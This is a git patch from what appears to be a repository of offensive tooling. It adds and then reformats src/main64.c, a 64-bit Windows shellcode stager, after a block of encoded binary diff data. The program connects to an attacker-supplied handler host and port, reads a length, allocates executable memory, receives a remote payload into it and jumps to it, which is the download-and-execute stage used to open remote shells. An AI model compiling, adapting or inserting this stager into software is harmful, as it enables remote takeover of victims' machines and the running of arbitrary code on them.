z_XAel_gd|}d`!~sx1{%3(rYZ~Lzd+eW0HQ@l77^ZzR!|=r>Q&7B0mg$hMPso9yq2J zGJ_7(l>5r0)B@hlKi=&bH1SsvHNp(q=qz*3fX-a^2S=#8%%J}p>s46}+v$42xp{}w zqDI=+2s3EMpFz_T2;oDXyP(|#wBKn5%g)eaP5+&BC++B&ickB`RM-K8Jyn`gx9aD5 z$TA3Y95*ADTe&r9%x%E**Cw5}-xiub0p=jL3r+JlFtW<0F;4>{7Sou&B@7Na)0o$R zsfp{pNn?Hk%mMa=#uOu~9riJq?zYZc3uLMLAaUjs1&#E}y3|F$v~r(|51eCPK9Wr1 zXRO=Nv1m+mTQjBToIbi5O zz%XW)!iWuF`Sw(!<1D~+WBHGPMrPug56xC(rl2uT07Gq%*lEmPQYq++f54=g^jq`# zu5_Gf{sA-%e!W2G{3|iQVSGA))Q<)+=K&K}HWWUyfq5Xr=PD}Y!~=Y;2WEH3J`KQ- z>y512fC<&rL=ugctnzRJY5EivFaC5>H*)&xa52tn3!LRFfRZ@ zGZ*7!TJIbR)#8W1g!TCqFiDiwvO3ZoO_?2#6^c4iO;#q0up4A9OY-!6VX@fhpcw+z z`0G+&9)Rm00N&}qZjoJ0pb2qa4H}uF!5Z|U!kRkeck;RRdjn`>bfGcrz`9kIWh3 zJR6t>ACpCcqg{3ngO|~HF_j8wcmr_``Tb^KG9WYc+5t>GFr=2&@Wa5o8q();z?6q* zo&ctw@3HDqF90KRy&|V^3mz6niDalVy^CdR6Pk+rxYr?x$vrnqPb>C*%niVG7P-N4BDp_YC(Faw~`)&SsqoJxgs z9t0*C5Blp-VERHd-vp*L(vThkJ%M^@iy8VlNxgVGVq4;?in0=vAUj`=OV^sf+c&dL1zFcz{n6jqB(zUTz~kp;G<8(48YKov7~xhAM9&;j_S)K83D+9T>0)&^!ms zL0`jEOGj688Z8AhrVSni4PhvDbo~4bnDUT5Zv*4RgZfN?A7aX4aV~WpFmHuQC4fo# z80FI@V8F`MeK}}W0)vLYeAWYVAk;2y0_N3_cj)7BD}Bx=>U;>8gCWd=z|`T2sp$b= zk|E4f!1RSmy#x#$#u`5aMnA_$HI0oi(Ai7G8Na&j|A4cK=Jb}Ht*OTD#?Gzjtem!WwsZ;HxMfRsx>wHH+d9(%w{+7! z%gh006ObkwjAgcX)3vR0>-JPzXK!PBTXPM>b)<9Y?v;(5&F$%K2X92Dnlc$&$8K!u zdlE_mh1ST9#?HpA>E^~v1{1d&y*G;qOD(n`$@OHM*2ZkAsVUdh?QCr8Tob+~AE?-l zX;7$;?Dtc}`;k^x0n*kOq57t3c_s@RFleTLWwgb%w{_AaL|1HkR+b4cq~Fo0=Ag|~ z6?3Yrf?BtCr?;w09XnF(DAlVuq?*%B$jPZp7sjqICVIKhxi&qwP4PtS@|7uU)YH|S zYGohD6_S=p3wAq9iyeK^74zp-R?c_Q9X%=iW*9;Gec{yB&Yo1duPL3$wRLq`{JI<4 zvT4~E2+qAeo9Uq)`sRhj!oXkm6JoQv8Z5oYV#iJnZ*Z-GMk-(wI#mv+(T8p4d1_obVh6liLe2V_@g z*LHPMwHmjyr>i@c_H=irJ9CP_=bP^A=}5J8C`+`rZRu|8-jSlM&5h)(>0GKK+lysD zHoFr#!#n7gSEBBz=C0J%_O30BSnz;tsJy{YyU99asy3MD)^szjVxNv4=(a;yFxAx6 zwXKaBI(;)CaB*Zjigje#(;cW5II=^xW?LHD+Izaw&Na2ErCo^EzTA3*Z+9~xmP-&7 zK-K8z_Un%KImzp(ZRs7lQWY5_gNg)XshFbcO<6}Sr`p@Hq(^G|{7OU6*xc+h2p8n0 zl}F!=2<%N;MN)OEYiTOGr4eg+!Ton;lT^G9mm)W&n%cXvX%+WxAg2ZCRY(o5&$Vx8Lt1TYzrGWhs@bVc=dSP6`JmbN(2BNp zm1}gx^fX?V-&k9q>T$pNX>S%871n+PO+R>vMks+Q_ zi@}J*#+#90vprj~sxGPCba$3=B$1`4)nWXe8dAv{Q%dj^NCt`LYuV6Fh?HSB7hl zTAIpc(oJnGZB2nLg{132F6uRW16saz8ElM5UX9e%lUV@=Qh%|$GpFn)zH3c4qE!Z* zt?Oo@Q0t<`QW~@@J&X)?7%H2iI{@0w7`&u%J2GTm?fgt$rB|mLdoACKFETs~7}hSZ zbzNK2HtvIb5$tyIHDa+V8wx`9X2GTgYo)vMBQdq6dhInEQ`Kv0>#A0-PAyx$W%qeCrHley5*rnaD`^;?A+ki%k28#6id0i6F)4E>E7JD>yF+DSczDuQrn zLz_bTRpE(9%XXpZ(JDPg3(XE2xk{~W51XR2?a6pN_=mjesybc^&~D|m_mM)1nyjC3 zw`b?2Liv{Lh>BrkAhA|Q9XmTdgRw1pj|fA0BPUU=7BA6to(-l_ORcQEHJxki%I3E0 z;5<*{sT8neA?(SA?h!%VY&11}12xe#UCll1X+7$u?u6Q%mK+YAFb^J6G@<~zq_?T5 z9VrUEx^@W%TN5)YWC?BP!ZAf2MNgCNGZIu*>`@H_6Ju#GO@RiZbGrHr7_O5cPzO#+ zCI{&&a9v=$tcb0IMx6T%;ZMH;Uw zeR$fbPxy|FG<`|Xowco9+mWOFu;QSid*b*cSg`GoJ*xdNoz;p%_6U1hVjFq|<7y;k zB#b*7-QyL=GBQQw>Y|>|4qr~hIkiUV1@i_AD!%pYMs1m4o4LL``dCF4DG)4SM+b*U z2w-lcJO+X#LhTL{mQ)~}lbZT2z%VIX)r0oU3{G>x zyLx}zu7~E~Avoy}?2@hK0$1c|sEsOjMf6!-*M_D^%~$f5Zk0H5Mhq|ek0!-D$ZPJB58s$5GUGFuJrkRhKO9$arnqYL(azN3KiZZWoat^VI52C+cs1Rf zYH4r8)=he(*19d5+lHAI#Bv6d{G=9i^4n=^btkT)iK}6(J%Z;sfN_97j0%rq$&8Bk zu!Bh5soQl>_T=RzU2o-E6SJmQ#5lSc!xXWxN=AGetngq|^DESik2W9+kHtwxV**au e>{w)L_2`5oek=v3rTai1EWMIH=gA9x=l=(4yeMA) literal 0 HcmV?d00001 diff --git a/src/main64.c b/src/main64.c new file mode 100644 index 0000000..8ecf974 --- /dev/null +++ b/src/main64.c @@ -0,0 +1,277 @@ +/* + * + * @author Raphael Mudge (raffi@strategiccyber.com) + * Barkin KILIC barkin.kilic@bga.com.tr) @barknkilic + * @license BSD License. + * Thanks to Murat KOC for helping about cross compile @muratkochane + * + * Changed the size of variables for 64bit, optimized Virtualalloc for 64bit and also changed the size of buffers + */ + + #include + #include + #include + #include + #include + + /* init winsock */ + void winsock_init() { + + + WSADATA wsaData; + + + WORD wVersionRequested; + + + + wVersionRequested = MAKEWORD(2, 2); + + + + if (WSAStartup(wVersionRequested, &wsaData) < 0) { + + + printf("ws2_32.dll is out of date.\n"); + + + WSACleanup(); + + + exit(1); + + + } + } + + /* a quick routine to quit and report why we quit */ + void punt(SOCKET my_socket, char * error) { + + + printf("Hata kodu(Error code): %i\n",GetLastError()); + + printf("Bad things: %s\n", error); + + + closesocket(my_socket); + + + WSACleanup(); + + + exit(1); + + + } + + /* attempt to receive all of the requested data from the socket */ + + + int64_t recv_all(SOCKET my_socket, void * buffer, int64_t len) { + + + int64_t tret = 0; + + + int64_t nret = 0; + + + void * startb = buffer; + + + while (tret < len) { + + + nret = recv(my_socket, (char *)startb, len - tret, 0); + + + startb += nret; + + + tret += nret; + + + + if (nret == SOCKET_ERROR) + + + punt(my_socket, "Could not receive data"); + + + } + return tret; + + + } + + /* establish a connection to a host:port */ + + + SOCKET wsconnect(char * targetip, int port) { + + + struct hostent * target; + + + struct sockaddr_in sock; + + + SOCKET my_socket; + + + + /* setup our socket */ + + + my_socket = socket(AF_INET, SOCK_STREAM, 0); + + + if (my_socket == INVALID_SOCKET) + + + punt(my_socket, "Could not initialize socket"); + + + + /* resolve our target */ + + + target = gethostbyname(targetip); + + + if (target == NULL) + + + punt(my_socket, "Could not resolve target"); + + + + + /* copy our target information into the sock */ + memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length); + + + sock.sin_family = AF_INET; + + + sock.sin_port = htons(port); + + + + /* attempt to connect */ + + + if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) ) + + + punt(my_socket, "Could not connect to target"); + + + + return my_socket; + + + } + + + int64_t main(int argc, char * argv[]) { + + + ULONG64 size; + + + char * buffer; + + + void (*function)(); + + + + winsock_init(); + + + + if (argc != 3) { + + + printf("%s [host] [port]\n", argv[0]); + + + exit(1); + + + } + + /* connect to the handler */ + + + SOCKET my_socket = wsconnect(argv[1], atoi(argv[2])); + + + + /* read the 4-byte length */ + + + int64_t count = recv(my_socket, (char *)&size, 4, 0); + + + if (count != 4 || size <= 0) + + + punt(my_socket, "read a strange or incomplete length value\n"); + + //printf("Okunan (Read): %i bytes\n",size); + + /* allocate a RWX buffer */ +const size_t pageSize = size + 10; +DWORD flags = MEM_COMMIT | MEM_RESERVE; + + buffer = VirtualAlloc(NULL, pageSize, flags, PAGE_EXECUTE_READWRITE); + +//printf("Adres (Address): %x\n",buffer); + + if (buffer == NULL) + + punt(my_socket, "could not allocate buffer\n"); + + + /* prepend a little assembly to move our SOCKET value to the EDI register + + + thanks mihi for pointing this out + + + BF 78 56 34 12 => mov edi, 0x12345678 + 48 BF 78 56 34 12 00 00 00 00 => mov rdi, 0x12345678 */ + + buffer[0] = 0x48; + buffer[1] = 0xBF; + + + + /* copy the value of our socket to the buffer */ + + + memcpy(buffer + 2, &my_socket, 4); + + + + /* read bytes into the buffer */ + + + count = recv_all(my_socket, buffer + 10, size); + + + + /* cast our buffer as a function and call it */ + + + function = (void (*)())buffer; + + + function(); + + + + return 0; + } From c64113b24bcacc5e0a26da728b99a0dffea13757 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bark=C4=B1n=20K=C4=B1l=C4=B1=C3=A7?= Date: Mon, 21 Aug 2017 23:26:45 +0300 Subject: [PATCH 2/2] Update main64.c removed the whitespaces and made the code style similar to existing 32 bit version by @773517913 --- src/main64.c | 390 ++++++++++++++++----------------------------------- 1 file changed, 123 insertions(+), 267 deletions(-) diff --git a/src/main64.c b/src/main64.c index 8ecf974..52e1ea0 100644 --- a/src/main64.c +++ b/src/main64.c @@ -1,277 +1,133 @@ /* * * @author Raphael Mudge (raffi@strategiccyber.com) - * Barkin KILIC barkin.kilic@bga.com.tr) @barknkilic + * Barkin KILIC @barknkilic * @license BSD License. * Thanks to Murat KOC for helping about cross compile @muratkochane * * Changed the size of variables for 64bit, optimized Virtualalloc for 64bit and also changed the size of buffers */ - #include - #include - #include - #include - #include - - /* init winsock */ - void winsock_init() { - - - WSADATA wsaData; - - - WORD wVersionRequested; - - - - wVersionRequested = MAKEWORD(2, 2); - - - - if (WSAStartup(wVersionRequested, &wsaData) < 0) { - - - printf("ws2_32.dll is out of date.\n"); - - - WSACleanup(); - - - exit(1); - - - } - } - - /* a quick routine to quit and report why we quit */ - void punt(SOCKET my_socket, char * error) { - - - printf("Hata kodu(Error code): %i\n",GetLastError()); +#include +#include +#include +#include +#include + +/* init winsock */ +void winsock_init() { + WSADATA wsaData; + WORD wVersionRequested; - printf("Bad things: %s\n", error); - - - closesocket(my_socket); - - - WSACleanup(); - - - exit(1); - - - } - - /* attempt to receive all of the requested data from the socket */ - - - int64_t recv_all(SOCKET my_socket, void * buffer, int64_t len) { - - - int64_t tret = 0; - - - int64_t nret = 0; - - - void * startb = buffer; - - - while (tret < len) { - - - nret = recv(my_socket, (char *)startb, len - tret, 0); - - - startb += nret; - - - tret += nret; - - - - if (nret == SOCKET_ERROR) - - - punt(my_socket, "Could not receive data"); - - - } - return tret; - - - } - - /* establish a connection to a host:port */ - - - SOCKET wsconnect(char * targetip, int port) { - - - struct hostent * target; - - - struct sockaddr_in sock; - - - SOCKET my_socket; - - - - /* setup our socket */ - - - my_socket = socket(AF_INET, SOCK_STREAM, 0); - - - if (my_socket == INVALID_SOCKET) - - - punt(my_socket, "Could not initialize socket"); - - - - /* resolve our target */ - - - target = gethostbyname(targetip); - - - if (target == NULL) - - - punt(my_socket, "Could not resolve target"); - - - - - /* copy our target information into the sock */ - memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length); - - - sock.sin_family = AF_INET; - - - sock.sin_port = htons(port); - - - - /* attempt to connect */ - - - if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) ) - - - punt(my_socket, "Could not connect to target"); - - - - return my_socket; - - - } - - - int64_t main(int argc, char * argv[]) { - - - ULONG64 size; - - - char * buffer; - - - void (*function)(); - - - - winsock_init(); - - - - if (argc != 3) { - - - printf("%s [host] [port]\n", argv[0]); - - - exit(1); - - - } - - /* connect to the handler */ - - - SOCKET my_socket = wsconnect(argv[1], atoi(argv[2])); - - - - /* read the 4-byte length */ - - - int64_t count = recv(my_socket, (char *)&size, 4, 0); - - - if (count != 4 || size <= 0) - - - punt(my_socket, "read a strange or incomplete length value\n"); - - //printf("Okunan (Read): %i bytes\n",size); - - /* allocate a RWX buffer */ -const size_t pageSize = size + 10; -DWORD flags = MEM_COMMIT | MEM_RESERVE; - - buffer = VirtualAlloc(NULL, pageSize, flags, PAGE_EXECUTE_READWRITE); - -//printf("Adres (Address): %x\n",buffer); - - if (buffer == NULL) - - punt(my_socket, "could not allocate buffer\n"); - - - /* prepend a little assembly to move our SOCKET value to the EDI register - - - thanks mihi for pointing this out - - - BF 78 56 34 12 => mov edi, 0x12345678 - 48 BF 78 56 34 12 00 00 00 00 => mov rdi, 0x12345678 */ - - buffer[0] = 0x48; - buffer[1] = 0xBF; - - - - /* copy the value of our socket to the buffer */ - - - memcpy(buffer + 2, &my_socket, 4); - - - - /* read bytes into the buffer */ - - - count = recv_all(my_socket, buffer + 10, size); - - - - /* cast our buffer as a function and call it */ - - - function = (void (*)())buffer; - - - function(); - - - - return 0; - } + wVersionRequested = MAKEWORD(2, 2); + + if (WSAStartup(wVersionRequested, &wsaData) < 0) { + printf("ws2_32.dll is out of date.\n"); + WSACleanup(); + exit(1); + } +} + +/* a quick routine to quit and report why we quit */ +void punt(SOCKET my_socket, char * error) { + printf("Error code: %i\n",GetLastError()); + printf("Bad things: %s\n", error); + closesocket(my_socket); + WSACleanup(); + exit(1); +} + +/* attempt to receive all of the requested data from the socket */ +int64_t recv_all(SOCKET my_socket, void * buffer, int64_t len) { + int64_t tret = 0; + int64_t nret = 0; + void * startb = buffer; + while (tret < len) { + nret = recv(my_socket, (char *)startb, len - tret, 0); + startb += nret; + tret += nret; + + if (nret == SOCKET_ERROR) + punt(my_socket, "Could not receive data"); + } + return tret; +} + +/* establish a connection to a host:port */ +SOCKET wsconnect(char * targetip, int port) { + struct hostent * target; + struct sockaddr_in sock; + SOCKET my_socket; + + /* setup our socket */ + my_socket = socket(AF_INET, SOCK_STREAM, 0); + if (my_socket == INVALID_SOCKET) + punt(my_socket, "Could not initialize socket"); + + /* resolve our target */ + target = gethostbyname(targetip); + if (target == NULL) + punt(my_socket, "Could not resolve target"); + + /* copy our target information into the sock */ + memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length); + sock.sin_family = AF_INET; + sock.sin_port = htons(port); + + /* attempt to connect */ + if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) ) + punt(my_socket, "Could not connect to target"); + + return my_socket; +} + + +int64_t main(int argc, char * argv[]) { + ULONG64 size; + char * buffer; + void (*function)(); + + winsock_init(); + + if (argc != 3) { + printf("%s [host] [port]\n", argv[0]); + exit(1); + } + + /* connect to the handler */ + SOCKET my_socket = wsconnect(argv[1], atoi(argv[2])); + + /* read the 4-byte length */ + int64_t count = recv(my_socket, (char *)&size, 4, 0); + if (count != 4 || size <= 0) + punt(my_socket, "read a strange or incomplete length value\n"); + + //printf("Read: %i bytes\n",size); + /* allocate a RWX buffer */ + const size_t pageSize = size + 10; + DWORD flags = MEM_COMMIT | MEM_RESERVE; + buffer = VirtualAlloc(NULL, pageSize, flags, PAGE_EXECUTE_READWRITE); + + //printf("Address: %x\n",buffer); + if (buffer == NULL) + punt(my_socket, "could not allocate buffer\n"); + + /* prepend a little assembly to move our SOCKET value to the EDI register + thanks mihi for pointing this out + BF 78 56 34 12 => mov edi, 0x12345678 + 48 BF 78 56 34 12 00 00 00 00 => mov rdi, 0x12345678 */ + buffer[0] = 0x48; + buffer[1] = 0xBF; + + /* copy the value of our socket to the buffer */ + memcpy(buffer + 2, &my_socket, 4); + + /* read bytes into the buffer */ + count = recv_all(my_socket, buffer + 10, size); + + /* cast our buffer as a function and call it */ + function = (void (*)())buffer; + function(); + + return 0; +}